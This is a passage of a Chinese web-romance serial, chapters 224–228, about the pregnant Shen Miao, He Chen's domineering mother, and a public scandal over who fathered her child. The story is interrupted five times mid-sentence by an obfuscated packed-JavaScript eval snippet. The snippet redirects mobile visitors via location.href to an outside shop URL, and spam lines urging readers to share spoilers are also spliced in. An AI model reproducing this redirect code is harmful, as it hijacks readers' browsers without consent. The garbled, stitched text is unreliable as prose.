贺忱眉峰一拧“什么意思?” “你问我我问谁?”秦川耸耸肩膀“沈渺真是个迷这么多人都对她肚子里的孩子感兴趣你真就不想知道?” 客厅一片死寂。 红褐色的液体在杯中弹出一颗颗小气泡。 影射着贺忱深沉令人琢磨不透的模样。 良久贺忱将杯中酒一饮而尽放下酒杯起身离开“睡觉。” “贺忱你什么时候也会做懦夫了。” 秦川目送贺忱回房间半着急半无奈。 —— 餐厅。 贺忱的离开让明黎艳的脸色彻底沉下来。 “伯母我刚刚好像看到沈渺了。” 程唯怡往窗外瞥了一眼她面色好不委屈“怕不是沈渺知道他今晚来跟我吃饭故意过来捣乱的吧?” 明黎艳眼眸一震精致的面容上怒气更甚。 “岂有此理沈妙她怎么敢 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的!” “伯母,我可以跟贺忱哥因为感情不和分开,他也可以直接跟我说不喜欢我了。但如果是被沈渺破坏了我们,我真的不甘心。” 程唯怡起身走到明黎艳身边坐下,她拉着明黎艳的胳膊。 “这事情要是传出去,贺忱哥的名声也会受到影响的。” 明黎艳最在乎的,就是贺忱的名声。 “委屈你了,这事儿就是沈渺的不是,贺忱被她迷惑住了,从一开始她就是个有心思的,估计当初贺忱娶她也是被要挟的,是我看轻她了!” 程唯怡点头的瞬间,眼泪噼里啪啦地落,“那我们要怎么办?” 明黎艳正要说什么,对上程唯怡的目光,她又改口道,“这事儿我来办,不能跟你扯上关系,不然会影响到你跟贺忱的感情,你乖乖听话,先回京北吧。” “回,回京北?”程唯怡犹豫了下,“伯母,你到时候不会也被沈渺蛊惑了吧?” 明黎艳,“怎么可能!我还能让她一个女人给拿捏了?放心,我会断了她所有的念想,让她没有资本再要挟贺忱!” 她看来,沈渺要挟贺忱的资本……就是肚子里那个孩子。 程唯怡要做的,就是把这潭水搅混。 受伤的只有沈渺,得利的是她。 到时别说沈渺跟贺忱的可能性,他们甚至可能会成为敌人…… —— 待产包都置办得差不多,沈渺连着几日没出小区门。 孕晚期,她的肚子终于看得出孕相了。 隆起的小腹,让她整个人增添了几抹温柔。 商音说,孕晚期要多运动,顺产更顺利。 她承揽了带商商逛公园的任务,每天上午吃饱饭带商商在小区公园溜一圈。 会在小区里看到明黎艳,是她没有想到的。 明黎艳坐在休息椅上,朝她看过来的目光里没有丝毫的诧异。 盯着她隆起的肚子时,快能喷出火星子的眼神告诉沈渺。 明黎艳是来找她的。 商商坐在婴儿座里,两只小手咋咋呼呼地挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205415|197321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞着。 “沈渺,我觉得你是聪明人。”明黎艳站起来,拎着黑色鳄鱼皮的包包,贵气逼人地站在沈渺面前。 沈渺沉默几秒说,“我一直觉得,您也是聪明人。” “怎么?”明黎艳讥讽一笑,“你是在炫耀,在我眼皮子底下怀上贺忱的孩子,你比我更加聪明吗?” 她凭空捏造的本事太强,沈渺的思路根本跟不上。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 商商虽然还小,可比较认生。 沈渺不想跟明黎艳吵架,怕吓哭了孩子,她沉默等着明黎艳的下文。 “这个孩子,我们贺家不会认的,贺忱更不会认,如果他对你有感情就不会娶唯怡,他看着不好说话其实是个软心肠,可怜这条小生命。” 明黎艳从包里拿出一张支票,五千万。 “这五千万你拿着,如果想把孩子生下来就带孩子离开贺忱的视线,我会定期给你打抚养费,如果不想要这个孩子,随便你处置,五千万当成给你的补偿。” 五千万,明黎艳真大方。 “我……” “如果你过分贪婪,想要贺家少夫人的位置,我会让你知道什么叫偷鸡不成蚀把米!” 明黎艳打断她。 如果她不愿落得人财两空的地步,最好是乖乖听话。 “您为什么这么断定,这个孩子就是贺忱的呢?” 沈渺不信她有实证。 明黎艳冷笑道,“这孩子要不是贺忱的,他能千里迢迢追来深城吗?他最近干的那些不正常的事儿多了,不是因为这个孩子,难不成是因为喜欢上你这个大肚婆了?” 如果这个孩子不是贺忱的,贺忱怎么会围着沈渺转? 她承认沈渺长得漂亮,身段也好。 属于会让男人上头的那一挂。 可她没有魅力大到,大着肚子还让贺忱魂牵梦绕吧? “他跟程小姐在吵架,来深城只是为了气程小姐的,程小姐看我不顺眼跟您说了什么,我不清楚,但这个孩子……与贺忱无关。” 沈渺平静地解释,“如果您不信,就去问问程小姐吧,我这儿有证据。” 她拿出手机,把吴玥珊发来的消息截图,转发给明黎艳。 224.结果你谎话连篇! 幸好当初吴玥珊为了气沈渺发了不少的截图过来。 沈渺觉得烦 此刻竟是派上用场了。 一条条截图发过来明黎艳翻看了两眼脸色逐渐铁青。 都是些上不得台面的小手段程唯怡的做法可谓是让明黎艳觉得脸上烧得慌。 “明董不管贺总跟程小姐的感情有什么问题我希望都不要牵扯到我。程小姐找您来的最终目的不管是不是为了拿我撒气还是让您逼贺总回京北我都是事外人不该卷在这件事情里面希望您高抬贵手放我一马。” 沈渺条理清晰一字一顿。 小家伙坐不住了在婴儿车里歪来歪去咿咿呀呀地指着远方。 “如果可以这份工作我也希望能辞掉比起这五千万的支票一封解约书更让我心动。” 她黑白分明的眼眸透着绝对的纯粹。 明黎艳的怒气被这股坚定的干脆击破。 她眼睁睁看着沈渺推着婴儿车离开。 半小时后程唯怡住处。 明黎艳来之前打过电话见明黎艳的车过来了程唯怡立刻起身去开门。 “伯母您回来了?” 程唯怡迎上去接过明黎艳的包。 看到明黎艳脸色不好她语气软了几分“是不是谈得不顺利?我跟沈渺接触虽然不多可她给我一种精明的感觉如今又有筹码在身肯定不好对付……” “确实不好对付。” 明黎艳接话她打量着程唯怡“你让我在沈渺面前丢了很大的脸。” 程唯怡‘啊’了一声“怎怎么了?” “你说沈渺肚子里的孩子是贺忱的?”明黎艳反问。 “我觉得是。”程唯怡小声说“但是我没有证据。可如果那个孩子不是贺忱哥的贺忱哥怎么会围着她转呢?” 明黎艳语气一沉“因为你们在吵架他拿沈渺来气你知道你最介意沈渺了!” 程唯怡面色一白。 “唯怡你真是越来越离谱了为了一个沈渺你折腾贺忱不够还折腾得我从千里之外赶过来为你撑腰结果你谎话连篇!” 明黎艳气的脸色涨红她指着程唯怡一脸失望“你这是要把贺忱往沈渺身边推!” “伯母我也不想这样!” 程唯怡立马开口“可是你想过吗贺忱哥来深城找沈渺不是因为跟我吵架到底是为了什么呢? 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 我没有证据证明沈渺肚子里的孩子是贺忱哥的但是只有这一个可能性才能解释得通贺忱哥的反常……” 一切的矛头来自贺忱的反常。 明黎艳脑袋眼前一黑又一黑。 “你们真是气死我了!” 程唯怡立马上前搀扶住她“伯母对不起我不该撒谎的我就是太害怕失去贺忱哥了我不能没有贺忱哥。” “我我不闹了我现在就回京北等着贺忱哥来娶我只要他还肯娶哪怕是养着沈渺在外面有个私生子我都愿意……” “娶我一定要让贺忱娶你们这门婚事不能再出差错了!” 明黎艳信誓旦旦拍着程唯怡的手背“现在你跟伯母一起回京北放心只要我不松口他就一定会娶你。” 上次贺忱答应过的。 程唯怡只是想以退为进。 她可没想过真的退。 如今被明黎艳架在这里她不得不答应“好我现在就订票?” “订吧尽快回京北。” 明黎艳看出她脸色的不甘心又添一句“放心沈渺肚子里的孩子我会给你一个交代的。” 程唯怡不敢多问了拿出手机订最近一个飞京北的航班。 当天明黎艳带着程唯怡回了京北亲自把人送回程家。 她只给程唯怡留了一句话。 “安心在家里等着 这句话犹如一颗定心丸让程唯怡提着的心落下了一些。 要说她跟贺忱的婚事明黎艳一定是最支持的。 离开程家明黎艳直奔百荣。 **开完一个会筋疲力尽地回到办公室。 看到坐在沙发上的明黎艳不由自主的一个激灵。 “明董?” 明黎艳端坐在那里指了指旁边位置“过来我有事问你。” * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205416|197321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' *心提起来不好的预感接踵而来。 他走过去坐下眼睛虚飘无处可放。 “我问你沈渺肚子里的孩子是不是贺忱的?” 明黎艳不确定**知不知道。 可**是最有可能知道的那个人。 他每天跟着贺忱应酬早出晚归是跟贺忱接触最多的人。 如果他都不知道那就只有贺忱跟沈渺本人知道了。 “明明董您何出此言?”**装傻充愣“这种问题您该直接去问贺总啊。” 明黎艳 听说看这本书的人都是很幸运的,分享后你的运气会更棒 眼眸一眯,锐利地看着他,“我就问你,你说!” **吞了吞口水,这无底的洞,还是落在了他脚下。 继续隐瞒就等于跳下无底洞,什么时候落地摔个粉身碎骨,不得而知。 若不瞒着,就等于直接落地了。 可……他前些日子明明做好了准备,不包庇沈渺了。 但此刻面对的不是贺忱,而是明黎艳—— 只怕,事情会闹得更大! “明董,我不知道。”他深吸一口气道。 明黎艳盯着他看,他如坐针毡,却故作镇定。 “沈渺跟贺忱离婚后,调职到分公司,贺忱有没有去过分公司,他们有没有私下见过面?” **摇头,“我每天工作完把贺总送回家,就下班,没再过问过贺总的行踪。” “所以你的意思是,他们有可能私下见过面?” 明黎艳想方设法地要一个明确的答复。 但**给不出明确答复,“我没这么说,明董,您要是真想知道,该直接去问贺总。” 闻言,明黎艳心里稍稍确定,**可能是真不知道。 她沉思了一会儿问,“你去查一查,沈渺怀孕那个月的行踪,跟贺忱有没有碰过面,不许放过任何的蛛丝马迹。” 得,贺忱不查了,明黎艳又开始查。 **一个头两个大,他装模作样地问,“您是觉得沈秘书肚子里的孩子是贺总的吗?如果是,您打算怎么做?” 225.贺忱都保不住你 ! “你管这么多干什么? 明黎艳拎包站起来,“**,如果你还想要你的前途,最好是保密进行这件事情,连贺忱都不能说,否则的话……我有的是办法让你离开百荣,贺忱都保不住你! 说完,她转身离开。 贺忱在她手里,保过沈渺。 **莫名觉得,若真闹僵了,明黎艳要开除他,贺忱不见得保他。 他拧着眉,犹豫、纠结…… 没等想好要不要告诉贺忱,他先让手底下的人,继续调查,并且务必拿到证据…… —— 贺忱像是无孔不入的,存在在沈渺的世界里。 偏偏,不是他本人,也从来不是正面的交锋。 对此,沈渺是有些麻了的。 不过再麻,理智也告诉她,她肚子里这个孩子不找个爹,只怕很难消停。 她推着商商往回走,有些心不在焉。 婴儿车推不动了,她才回过神来。 何之洲蹲在婴儿车前,将一只小鸭子递给商商,正在逗弄商商。 “你哪里来的这么多玩具。 沈渺每次带着商商路过这里,只要遇到何之洲,何之洲都能变出玩具来。 何之洲摸了摸商商的头,站起来看着她说,“我家里买了一箱子,本来打算给**儿子的,你再不生,都给这小子了。 “我就算生了,孩子也先不会玩这些,你把那些都拿出来,给商商吧。 沈渺推着婴儿车到台阶下,她在台阶上坐下来,刚好能与商商齐平。 商商拿着小鸭子玩具,玩得正起劲。 “那可不行,每一个都是我精心挑选的,给他几个已经很不错了。 何之洲在她旁边坐下,“刚刚,那是贺忱他妈吧? 沈渺侧目看过去,“你认识? “她妈长了一张班主任脸,化成灰我也记得。 何之洲吸吸鼻子说,“你们说话,我也听到了一些,不过我可不是故意偷听,是她说话声音太大了。 这里是深城,公寓群也没有上流圈子的人。 明黎艳说话一点都没压着声音。 路过的人都能听到,沈渺摇头说,“我知道你没偷听。 “那老太婆看着精明,怎么被程唯怡给耍得团团转? 何之洲吐槽,“我都看不下去了,差点儿就冲出去替你说话。 沈渺跟明黎艳接触的时间不短,对明黎艳的脾气有些了解。 典 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 型的刀子嘴豆腐心。 太过于爱恨分明,所以在某些事情上很容易冲动。 “晚上你有事吗?”何之洲见她提起跟贺忱有关的,就情绪不高涨,转移了话题。 沈渺摇头,“没事。” “我爸让我去参加一个宴会,说有个重要的合作商,我过来顺路拜访一下。” 何之洲挠了挠头,“我哪里是应酬的那块料,你跟我一起去行不行?咱俩跟人家打个招呼就走!” 宴会都得喝酒,而且沈渺现在大着肚子,不合适。 但是拒绝的话还没说出口,沈渺就想起何之洲帮她调查浅姨。 这怕就是为数不多,能帮何之洲的地方。 “行吧,不过先说好,打个招呼就走。” 何之洲忙不迭点头,“当然,你怀孕,我也不能让你太劳累。” 宴会在晚上六点。 沈渺带商商回去后,吃了午饭休息了一会儿,才开始准备去参加宴会。 黑色不显孕肚,衬得她肤色也白。 不施粉黛也不显得憔悴,胖了几斤的缘故让她看起来气色绝佳。 她拎包出门,何之洲已经开车劳斯莱斯超跑,在门口等着。 他靠在车身上,低头玩着手机。 听到开门上,他掀起眼皮看了一眼,很快又落回手机上。 僵持片刻,他猛地抬头看过去。 傍晚夕阳斜射,打在沈渺身上,白皙的肤色透出一股金芒。 沈渺乌黑的长发束成马尾,发尾落在肩膀。 她清纯的样子,像个高中生一样。 “走吧。” 沈渺走过来,拉了拉门把手,却没拉动。 抬头看向何之洲,撞入何之洲墨色瞳仁里,她眉头一拧,“你愣什么神?” “啊!?”何之洲回神,将手机揣兜里,绕过驾驶位亲自开车门。 拉了下门把手,他也没拉开,才想起来车锁着。 他悻悻一笑,掏出车钥匙解锁,再次拉开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205417|197321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三不五时落在沈渺身上的目光,看两眼沈渺又迅速移开。 沈渺忘了给商音发消息,告诉商音她今天不过去吃晚餐。 她低头发消息,没注意到何之洲的异样。 发完消息抬起头来时,莱斯莱斯超跑已经开出公寓群了。 傍晚夕阳正浓,山**错,夜风袭来,温度微凉。 沈渺带了一件花鸟格的披肩,搭在肩上。 “何家在深城还有合作商呢?”她问 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 何之洲。 “啊?”何之洲急急看她一眼,又收回目光,“很多年前,我爸到这边来过,具体什么合作商我也不清楚,反正让我来都来了就见一面,以示友好。” 沈渺点了下头,“应该的,商圈礼节多。” 何之洲跟着点头。 “等会儿参加完宴会,我请你吃宵夜吧。” 沈渺接着开口。 她想他们在宴会上待不太长时间,应酬完就出来,来不及吃东西。 “行,我请你。”何之洲毫不犹豫说,“你给我帮忙,我还能不管饭吗?” 沈渺轻笑,晃了晃手机,“我都订好餐厅了,你别嫌不好就行。” 到底是何之洲帮她的次数比较多。 何之洲看到她笑,心漏跳一拍,也跟着笑起来。 沈渺到了现场,才知道这个宴会是国内商业交流会。 宴会厅内,西装革履的男人交错着,三五成群阔谈商圈新闻。 最瞩目的,要数被数十人围着的贺忱。 他穿着暗蓝色的西装,沉稳中增添了一抹年轻朝气。 指骨清晰脉络性感的手,捏着高脚杯,推杯换盏中带着绝对上位者的气息。 与生俱来的那股矜贵,让周遭人瞬间失了颜色。 何之洲也看到了贺忱,他不由自主的看向沈渺,“要不,你找个地方躲躲,我自己去打个招呼得了,你现在毕竟还是百荣的人。” 身为百荣分部的负责人,却跟何之洲一起出席商业交流会,于理不合。 沈渺是忘了问这个宴会性质。 何之洲则是没往这方面想。 此刻真遇上贺忱,他才意识到不妥。 226.不少人都怀疑,孩子是贺忱的 “好。 沈渺虽然很抱歉,但不得不以大局为重。 她转身朝宴会厅外面走去。 人群中,鹤立鸡群的男人目光倏地看过来,落在她光滑纤细的背影上。 他几乎是一眼就认出了她。 她是跟着何之洲来的。 贺忱的面色不可抑制的沉了几分。 与他交谈的人莫名觉得背脊一凉,话都没说完就闭上嘴了。 几个人顺着他的目光看过去,却只看到了何之洲。 都说贺忱跟何之洲关系不和,现在看来果然如此。 只是没想到,会不和到贺忱看到何之洲先变脸色。 “抱歉,先告辞一下。 贺忱放下酒杯,折身去了窗边。 宴会厅在三楼,中间镂空的设计能看到一楼大厅的景象。 沈渺离开后,从电梯里出来,在大厅的沙发上坐着。 隔着一层透明的窗户,她的身影分外清晰。 贺忱的目光,不由自主落在她身上。 ‘哒哒哒’的高跟鞋声音传来,在他身后停下。 他敛回目光,侧身看过来。 “贺忱,我真没见过你这么过分的人。 吴玥珊站在他身后,一脸愤愤不平,“唯怡都被你气走了,你还不去哄她,她跟你都快结婚了,你怎么能这么对她? 贺忱眸光如斯,“你这么闲,喜欢管别人的事? “我跟唯怡的关系好,我是替她觉得不值! 吴玥珊向前一步,正欲据理力争。 说一说她在国外那两年,跟程唯怡在一起时,程唯怡字字句句不离贺忱。 她看到过程唯怡在笔记本上写满了贺忱的名字。 可她的目光看到了一楼的沈渺,骤然一缩。 “又是她?仗着自己怀着你的孩子,霸占你向唯怡发出无声的挑衅,她够嚣张的,你也够过分的!你们两个欺负唯怡! 她嗓音很大,惹得周围人侧目看过来。 众目之下,贺忱面色黑得吓人,“你手够长的,想管被人闲事之前,先弄清楚怎么回事。 他不打算在这里跟吴玥珊这个不分青红皂白的人对上。 谁知,他转身正要走,却见吴玥珊转过身朝着众人说。 “大家都认识贺总吧?京北贺家的继承人,马上就要跟我的好朋友程家千金程唯怡结婚了。 她边说边走,端起就近酒桌上的一杯红酒,又折回朝贺忱走过来。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “我在这里提前祝你们新婚快乐不过身为唯怡的好朋友我有一个问题想问问你。” “你的前秘书现在的深城百荣分部负责人沈妙怀孕了孩子父不详你说你该不该给唯怡一个解释?” 人群一阵哗然后陷入死一般的寂静。 沈渺怀孕的新闻被压下去得再快也不如众口相传快。 现在还有人私下讨论那个孩子到底是谁的呢。 不少人都怀疑孩子是贺忱的。 毕竟贺忱一路提拔沈渺两人在一起工作多少年了。 日久生情还是‘日’久生情都不稀奇。 可当众这么问—— 众人倒吸一口凉气给吴玥珊捏一把汗。 “高少夫人一定是误会了什么。” 有人开口给贺忱解围“今天这是商业宴会咱们不谈私事……” “你算哪根葱?” 吴玥珊打断开口的男人“贺忱我替唯怡要个解释没有刁难你的意思如果沈渺这个孩子不是你的那你说问问她的孩子是谁的?身为上司你有权知道这件事情。” “刁难我?”贺忱唇角掀动冷然的弧度“你不光不配刁难我也不配刁难她。” 吴玥珊面色一沉贺忱这是当众维护沈渺! “我可以理解你这是变相承认沈渺肚子里的孩子是你的吗?” 贺忱鹰隼般的长眸微微眯着看吴玥珊的眼神像是看一块甩不掉的臭狗皮膏药。 令人厌恶。 可偏偏这件事情关乎着沈渺肚子里的孩子。 想给沈渺保留颜面他进退两难。 “她肚子里的孩子是谁的跟你有什么关系?” 何之洲剥开人群走过来打量着吴玥珊“给肚子里的孩子积点德以后没事多吃点核桃给孩子补补脑你跟个傻叉一样别生个跟你一样的孩子!” 高家在深城算头还没人敢这么跟吴玥珊说话。 她面红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205418|197321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳赤。 不待她再说什么何之洲却已经看向贺忱了。 “贺总真巧在这儿遇上了刚好我有个不情之请。” 贺忱眼眸深邃周围泛着寒意目光看向何之洲并未接话。 “我想跟你要个人。”何之洲说完这话觉得有些熟悉他乐了“这是我第二次公开跟你要人了只是这人啊还是同一个人沈渺。” 第一次在京北第二次在深城。 何之洲像是追着贺忱 你的朋友正在书荒,快去帮帮他吧 要沈渺一样。 他自顾自的打趣完,解释了句,“我太欣赏沈渺了,她办事能力强,不愧是贺总看中的人,就是不知道贺总能否忍痛割爱,把沈渺给我?” 忍痛割爱几个字,在此刻彻底具象化。 贺忱从来没觉得,割舍让出身外物,能达到如刀割的滋味。 他侧目,又看向沈渺。 恰好,沈渺等久了,抬头看过来。 对上他墨色的长眸,她愣住。 他眸底深处汹涌而来的情绪很浓,浓到她一瞬间就读懂了。 跟了贺忱这么多年,她还从未见过他如此慌乱的样子。 是慌乱。 那不崩于泰山的面容下,隐藏着的情绪。 没几秒,何之洲的面容也映入眼帘。 两人一同站在那里,齐齐看着她。 沈渺敛回目光,心里‘咯噔’一声。 是贺忱发现她跟何之洲来参加宴会,生气了? 她轻咬了下内唇,眉心皱成一团。 “沈小姐。” 一名服务员走过来,微微颔首,“贺总跟何总请您上楼去。” 沈渺汲气,沉了几秒站起来,整理了下裙摆,转身回到楼上。 刚进入宴会厅,沈渺就察觉到一股不同寻常的气息。 众人纷纷朝她看过来。 她朝贺忱走过去,人群自动让出一条路。 尽头是贺忱与何之洲并肩站着。 何之洲面含笑容,眉尾轻挑着,浪荡不堪。 短短几分钟,贺忱面色恢复如常。 只是那深沉的眸色深处,带着一抹淡淡的黯然。 “贺总,您找我?” 227.两难(男)的抉择 “是我跟他一起找你。” 何之洲朝她走过来站在她旁边低头看着她“我想邀请你到九州来工作贺总说让你自己做决定。” 沈渺杏目一颤不可置信地看向何之洲又看向贺忱。 贺忱站在那儿纹丝未动周身蔓延着掌控全场的气息。 虽然何之洲说让沈渺自己做决定。 可沈渺清楚地知道决定权还是在贺忱手上。 “何总您别开玩笑了我都在休产假了。” “我惜才。”何之洲立马说“你要是同意立马办理入职手续产假继续休工资我照开。” 他一脸严肃当着众人这么说是认真的。 沈渺不理解短短几秒发生什么事情了? 一旁吴玥珊的脸色不怎么好看直勾勾盯着何之洲。 “贺总。”沈渺迟疑地看向贺忱 贺忱身形微动薄唇轻启道“何总惜才你自己做决定明天到公司给我一个答复。” 不等沈渺说完贺忱转身离开。 这真是同意沈渺跳槽的意思。 沈渺目光紧随着他的背影离开心就揪成一团突然就觉得喘不过气。 “呵沈渺你可真能耐居然勾搭上了他。” 吴玥珊冷笑原来沈渺这个孩子根本不是贺忱的。 是何之洲的! 她一边拿手机给程唯怡汇报‘好消息’一边转身离开。 周围人也散了场。 原地只剩下沈渺跟何之洲。 “怎么了?”沈渺脑袋有些乱“到底发生什么事情了?” 何之洲拍了拍她肩膀说“你到车上等我最多五分钟我就过来。” 说着他穿入人群朝着贺忱离开的方向走去。 酒店门口贺忱在等车。 他一口接一口深吸着烟一根烟很快过半。 “贺忱。” 何之洲追出来“男人要说话算话。” 贺忱舌尖抵住腮帮不语。 “别为难沈渺。”何之洲怕明天沈渺去找他他会变卦。 贺忱森冷的眸看过来“滚。” 何之洲不怒反笑他知道贺忱这是生气了。 但可笑的是再生气一个‘滚’字也是答应的意思。 他折身朝地下停车场走过去。 沈渺已经上了车她看到何之洲回来坐直了些。 “到 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 底怎么了?” “吴玥珊当众质问贺忱跟你的关系追问你肚子里的孩子是不是他的如果不是他的又是谁的……” 何之洲一五一十地告知。 末了他总结了一句“贺忱避而不谈会让别人误会孩子是他的但如果他否认对你的名声会有很大的损失所以他犹豫了。” 这还是他第一次看到贺忱吃瘪。 是为了沈渺。 “你这个时候当众挖我跳槽岂不是让所有人误会我的孩子是你的?” 沈渺戳中重点“我要跳槽也等于默认这个孩子就是你的”! 何之洲侧了侧身体面对着她“这有什么问题吗?” “当然有问题。”沈渺面色凝重“何之洲你简直在胡闹我不想从一个火坑跳到另外一个火坑!” 她怕贺忱抢孩子也不愿被明黎艳和程唯怡误会刁难。 但是何家若也以为这个孩子是何之洲的肯定也会来找她! 甩掉贺家迎来何家两个火坑轮流跳她是嫌自己命太大了? 得罪两波人。 “沈渺你向贺家证明这个孩子不是贺忱的太难了可是你向我家证明这个孩子不是我的轻而易举。” 何之洲一本正经的分析“我爸他们会保守这个秘密的我当众挖你过来打了贺忱的脸我爸高兴还来不及呢。” 只要沈渺能向何家证明孩子不是何之洲的。 何家不会压这些**因为每一个**都是何家扇向贺家的巴掌。 这样的局势不光何之洲能预料到。 贺忱也能预料到。 可他还是决定让沈渺自己做决定。 沈渺的胸腔涨得难受被一股酸意腐蚀喘息都觉得困难。 “在这种情况下我只能选择用这样的方法保护你如果你觉得不妥可以拒绝但是你要考虑清楚贺家那边就更交代不清了。” 何之洲发动引擎驱车回家。 他察觉到了 而保护沈渺也成了他的本能。 沈渺… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205419|197321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …会选择让谁保护? 沈渺的选择能看出她是否能用理智战胜感性。 从何之洲车上下来沈渺抱着双臂往家里走。 没走两步她肩上多了一件外套。 何之洲下车追过来给她披上的。 “如果我这样的做法又给你带来麻烦了我很抱歉我会主动向所有人澄清但是我真的希望 你的朋友正在书荒,快去帮帮他吧 你好好考虑一下,我的办法真的可行。” 沈渺站在那里,目光怅然。 何之洲点了两下头,转身回车上,驱车回了公寓。 沈渺转身回家,在漆黑的房间里熟稔地上楼,坐在床尾的地垫上,头靠在床尾。 明天,贺忱在等她的答复。 与以往几次不同。 这一次,沈渺的直觉很强烈,只要她想走,就能走。 贺忱,一定会放她走。 何之洲说得太有道理了。 向贺家证明孩子不是贺忱的,太难了。 而向何家证明孩子不是何之洲的,轻而易举。 答案就摆在她眼前,怎么选才是最正确的。 可她迟迟下不了决定,犹豫不决…… 如果选择跳槽,那孩子的身世大概率永远都不会被贺家知道。 孩子就是她一个人的了。 沈渺想了一晚上,找了无数的理由,都觉得跳槽才是最正确的选择。 渐渐地,天亮了。 一缕阳光照进室内,光线昏暗的房间渐渐变得明亮。 贺忱从床尾的沙发上起来,进入浴室洗漱。 末了他换一套干净的西装,戴上腕表,阔步离开去公司。 百荣分部,早上七点还没到工作时间,公司几乎空无一人。 贺忱从电梯出来,路过沈渺办公室时停顿了下,片刻恢复如常回到自己办公室。 他拨通李白恬的电话,“提醒沈渺,八点半准时到公司来。” 李白恬还在睡觉,听到他的声音立马醒盹了。 “贺总!哦好!” 李白恬挂了贺忱电话,立刻给沈渺打电话,“贺总让你八点半到公司!” 沈渺,“我已经到了。” 228.谢谢贺总照顾,再见。 “啊?” 李白恬心底一沉,“又出什么事情了,你这么一大早赶过来干什么?” 沈渺站在大厦下,仰头看着上面,“等结束了再跟你说。” 她挂了电话,进入公司。 此刻公司还空无一人,她来得早是想赶在没人前到顶楼。 没想到,贺忱已经来了。 片刻,贺忱办公室。 沈渺站在办公室正中央,来时做足准备,组织了话语,无数次在心里演练。 此刻面对贺忱,却一句话也说不出。 贺忱拉开右手边的抽屉,递过来一份离职协议书,推向她。 “签了吧。” 沈渺下意识说,“我还没给您答复。” 贺忱,“你一直想走,没有理由再留下。” 他言简意赅,字字戳重点。 “怎么?该不会告诉我,真能走了,你反而舍不得了。” 男人狭长的眼眸微眯,看向她的目光带着探究。 沈渺看着那份文件,平静的面容透出几分复杂。 她深吸一口气,从包里拿出一支碳素笔,直接将文件翻到最后一页,签字。 沈渺。 她的字柔和有力,带着几分锋利。 最后一笔落下时,贺忱的目光收回。 “按照公司规定,一旦公司内部机密泄露,你将会接受全面盘查,被列为第一嫌疑人,若事情跟你有关你将双倍赔偿公司所有损失。” 他声音漠然,提醒着解约书里的条款。 沈渺将笔帽盖好,放在合约书旁,“好。” “你不看看条约?”贺忱示意她,将解约书都看完。 沈渺摇头,“我相信贺总。” 贺忱失笑,不知该高兴还是如何。 “合同会在两个工作日内走完,到时人事会通知你来办理手续。” “我知道流程,不用贺总提醒了。” 沈渺点头,心底发着的酸涩,令她整个胸腔发胀。 “有其他需要交接的工作,贺总可以随时给我打电话。” 贺忱转动椅子,面朝落地窗,只留给她一张轮廓分明的侧脸。 沈渺还想再说什么,却又觉得无话可说。 “这几年,谢谢贺总的照顾,再见。” 回应她的,是一片沉默。 她没再说别的,转身离开。 整个流程不超十分钟。 